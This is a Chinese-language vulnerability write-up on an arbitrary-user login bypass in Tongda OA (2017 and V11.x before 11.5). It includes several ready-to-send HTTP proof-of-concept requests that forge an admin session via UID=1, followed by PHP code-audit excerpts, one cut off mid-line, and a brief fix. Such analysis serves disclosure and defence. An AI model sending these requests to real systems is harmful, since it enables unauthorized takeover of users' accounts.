这是一篇关于通达OA越权登录漏洞的分析文章。由于作者能力有限,文中定会出现一些错误,请谅解。本文会不定期更新,最近一次更新时间为2020年6月2日。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。
关于通达OA的更多信息,请查看通达OA官网。
01-漏洞概述
2020年4月中旬的时候,通达OA发布了11.5新版本。国内安全研究人员通过代码比对,发现了此漏洞。此漏洞可以越权登录任意用户账号,影响极大。
漏洞成因是由于前台登陆时未作权限验证,程序开启全局覆盖,可以直接覆盖 _SESSION 里的数据造成任意用户登陆。 服务端只取了UID来做用户身份鉴别,由于UID是整型递增ID,从而导致可以登录指定UID用户。
02-漏洞分析
- 影响版本:通达OA2017、V11.X<V11.5
- 发现时间:2020-04-01
一、Payload
先上payload。
11.4版poc1:
GET /general/login_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
GET /ispirit/login_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
11.4版poc2:
POST /logincheck_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
CODEUID=%7BF1643A67-D96F-BB39-E350-AED1A70E5FB9%7D&UID=1
2017版poc1:
GET /ispirit/login_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
2017版poc2:
POST //general/login_code_scan.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 94
Content-Type: application/x-www-form-urlencoded
codeuid=%7B000EB6B8-3595-474D-F673-6BD8B187388D%7D&uid=1&source=pc&type=confirm&username=admin
2017版poc3:
GET //ispirit/login_code_check.php?codeuid=%7B000EB6B8-3595-474D-F673-6BD8B187388D%7D HTTP/1.1
Host: 192.168.220.129
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
二、代码审计
-
/logincheck_code.php:11-18行。UID通过post传参。如果CODEUID存在,则不会exit。
$redis = TRedis::redis(); $UID = intval($_POST["UID"]); $CODEUID = $_POST["CODEUID"]; $login_codeuid = TD::get_cache("CODE_LOGIN" . $CODEUID); if (!isset($login_codeuid) || empty($login_codeuid)) { $databack = array("status" => 0, "msg" => _("参数错误!"), "url" => "general/index.php?isIE=0"); echo json_encode(td_iconv($databack, MYOA_CHARSET, "utf-8")); exit();
-
/logincheck_code.php:180行。UID用户可控。CODEUID用户可控。
$LOGIN_UID = $UID; $LOGIN_USER_ID = $USER_ID; $LOGIN_BYNAME = $BYNAME; $LOGIN_USER_NAME = $USERNAME; $LOGIN_ANOTHER = "0"; $LOGIN_USER_PRIV_OTHER = $USER_PRIV_OTHER; $LOGIN_DEPT_ID_JUNIOR = GetUnionSetOfChildDeptId($LOGIN_DEPT_ID . "," . $LOGIN_DEPT_ID_OTHER); $LOGIN_CLIENT = 0; $_SESSION["LOGIN_UID"] = $LOGIN_UID; $_SESSION["LOGIN_USER_ID"] = $LOGIN_USER_ID;
-
/logincheck_code.php:164行。通过UID的值去数据库里面去取值,
$UID -> $query1 -> $cursor1 -> $row
$LOGIN_FUNC_STR = ""; $query1 = "select user_func_id_str from user_function where uid='$UID'"; $cursor1 = exequery(TD::conn(), $query1); if ($row = mysql_fetch_array($cursor1)) { $LOGIN_FUNC_STR = $row["user_
三、漏洞修复
不要通过用户可控的UID作为权限校验的方法。
03-参考链接
- http://www.0e0w.com